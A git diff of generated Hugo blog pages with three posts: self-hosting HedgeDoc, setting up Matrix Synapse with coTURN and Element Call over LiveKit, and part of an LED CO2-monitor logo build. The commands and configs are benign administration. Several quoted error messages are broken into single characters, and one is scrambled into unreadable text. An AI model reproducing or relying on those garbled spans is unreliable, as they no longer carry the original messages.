    + +RSS + \ No newline at end of file diff --git a/public/tags/self-hosting/index.xml b/public/tags/self-hosting/index.xml new file mode 100644 index 0000000..7d51121 --- /dev/null +++ b/public/tags/self-hosting/index.xml @@ -0,0 +1,770 @@ +Self-Hosting on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/Recent content in Self-Hosting on AlipourIm journeysHugo -- 0.146.0enFri, 29 Aug 2025 00:00:00 +0000Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/self-hosting/page/1/index.html b/public/tags/self-hosting/page/1/index.html new file mode 100644 index 0000000..6495d31 --- /dev/null +++ b/public/tags/self-hosting/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/self-hosting/ + \ No newline at end of file diff --git a/public/tags/soldering/index.html b/public/tags/soldering/index.html new file mode 100644 index 0000000..e2db22d --- /dev/null +++ b/public/tags/soldering/index.html @@ -0,0 +1,12 @@ +Soldering | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/soldering/index.xml b/public/tags/soldering/index.xml new file mode 100644 index 0000000..98e795d --- /dev/null +++ b/public/tags/soldering/index.xml @@ -0,0 +1,368 @@ +Soldering on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/Recent content in Soldering on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

